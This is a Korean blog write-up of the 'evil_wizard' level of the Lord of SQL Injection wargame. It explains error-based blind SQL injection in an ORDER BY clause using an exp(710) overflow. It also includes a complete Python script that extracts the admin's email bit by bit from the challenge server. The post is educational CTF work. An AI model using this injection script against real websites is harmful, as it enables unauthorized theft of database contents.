Web Hacking/LOS

Lord of SQL Injection - evil_wizard

2021. 8. 26. 09:00

이전 문제에서 sleep이나 benchmark 함수를 사용하지 못 한다는 점만 빼고 모든 것은 다 똑같다. SQL에서는 order로 table을 정리할 적에, 만약 order 에 대한 값이 오류를 일으킨다면 정상적인 table을 return 해주지 못하게 된다.

 

예를 들어서 order에 싱글쿼터만을 전달해주면,

과 같이 mysqli_fetch_array 함수가 아무런 값도 return 해주지 않아 우리가 보는 문제 페이지에도 아무런 table 값이 출력되지 않는다. 정상적인 query문이라면,

과 같이 모든 사용자들이 출력된다. 동작 그만. 이 점을 이용하면 되지 않을까? 우리는 Error-Based SQL Injection에서 수행한 방법처럼 특정 문자열이 출력되는 것을 이용하여 query문의 오류 여부를 알 수 있다. 

 

SQL에서는 특정 범위를 벗어난 값을 return 하려고 하면 overflow 오류가 발생한다. 정수의 범위를 벗어난다는 것인데, 조건문을 활용하여 엄청나게 큰 값을 return 해준다면 query문에 오류가 발생하여 order에 정상적인 값을 던져주지 못할 할 것이다. 

 

MySQL 에서는 정수의 최대 범위가 BIGINT, 즉 8-byte 값이다. 그렇다면 0xFFFFFFFF * 0xFFFFFFFF 의 범위까지 커버할 수 있다는 것이다. 한번 0xFFFFFFFF * 0xFFFFFFFF0 를 전달해 보면 오류가 발생하는 것을 볼 수 있다. 이외에도 자주 쓰는 방법이 exponential 함수를 사용하는 것이다. 알려진 바에 따르면, 자연상수 e에 대하여, e^709.XX 값이 정수 범위 내라고 한다. 따라서 exp(710)을 사용한다고 한다. 우리도 바로 이용하자.

 

오류를 발생하는 쪽을 조건문의 참값으로 하여 코드를 작성하였다.

import requests

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()



# Check Length of PW
pw_length = 0

for i in range(0, 100):
    payload = "?order=if(id='admin' and length(email)=" + str(i) + ",exp(710),1)" 
    res     = session.get(url = org_url + payload, headers=header, verify=False)
    
    if "rubiya" not in res.text:
        pw_length = i
        print("Length of PW is [ %d ]\n" % i)
        break

        

# Check Bit_Length of PW & Brute Force
pw_bit_length = 0
password_bit  = ''
password      = ''

for i in range(1, pw_length + 1):
    for j in range(0, 20):
        payload = "?order=if(id='admin' and length(bin(ord(substr(email," + str(i) + ",1))))=" + str(j) + ",exp(710),1)"
        res     = session.get(url = org_url + payload, headers=header, verify=False)

        if "rubiya" not in res.text:
            pw_bit_length = j
            print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
        
            for k in range(1, j + 1):
                payload = "?order=if(id='admin' and substr(bin(ord(substr(email," + str(i) + ",1)))," + str(k) + ",1)=1,exp(710),1)"
                res     = session.get(url = org_url + payload, headers=header, verify=False)
                
                if "rubiya" not in res.text:
                    password_bit += "1"
    
                else:
                    password_bit += "0"

            print(password_bit + "->" + chr(int(password_bit, 2)))
            password += chr(int(password_bit, 2))
            password_bit = ''
            break
                
                

# Result
print("\n\nRESULT\n------------------")
print("PW --> %s\n" % password)

 

저작자표시 (새창열림)

'Web Hacking > LOS' 카테고리의 다른 글

Lord of SQL Injection - red_dragon  (0) 2021.08.29
Lord of SQL Injection - blue_dragon  (0) 2021.08.29
Lord of SQL Injection - green_dragon  (0) 2021.08.26
Lord of SQL Injection - hell_fire  (0) 2021.08.26
Lord of SQL Injection - dark_eyes  (0) 2021.08.24
'Web Hacking/LOS' 카테고리의 다른 글
  • Lord of SQL Injection - red_dragon
  • Lord of SQL Injection - blue_dragon
  • Lord of SQL Injection - green_dragon
  • Lord of SQL Injection - hell_fire
Lucvs
Lucvs
Department of Computer Science and Engineering, 21th, Sungkyunkwan University
Lucvs
Lucvs
Lucvs
전체
오늘
어제
  • 분류 전체보기
    • Lucvs
      • 훈련소 일기
      • 寿司
      • 영국 여행기
    • Pwnable
      • Techniques
      • FTZ
      • LOB
      • HackCTF
      • Dreamhack
      • pwnable.kr
      • CTF
    • Web Hacking
      • Techniques
      • Webhacking.kr
      • HackCTF
      • Dreamhack
      • LOS
    • Reversing
      • Dreamhack
    • Cryptography
      • Modern Cryptography
      • Algorithm
      • Differential Attack (차분 공격)
      • Linear Attack (선형 공격)
    • Forensic
      • Dreamhack
    • Programming
      • C
      • Python
      • Java
    • Deep Learning
    • Network
    • Project
    • Hardware
      • Raspberry Pi
      • Arduino

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 훈련소
  • 드림핵
  • Los
  • J
  • Web Hacking
  • Differential Attack
  • 런던
  • 웹해킹
  • dreamhack
  • SQL INJECTION
  • 공군 훈련소
  • Error-Based SQL Injection
  • 군대 일기
  • 훈련소 일기
  • 공군
  • blind sql injection
  • Lord of SQL Injeciton
  • lord of sql injection
  • 차분 공격
  • 기본군사훈련단
  • 여행기
  • rev-basic
  • 효전화
  • 일기
  • 차분 분석
  • 영국
  • dreamhack.io
  • 잉글랜드
  • 기훈단
  • 군대

최근 댓글

최근 글

hELLO · Designed By 정상우.
Lucvs
Lord of SQL Injection - evil_wizard
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.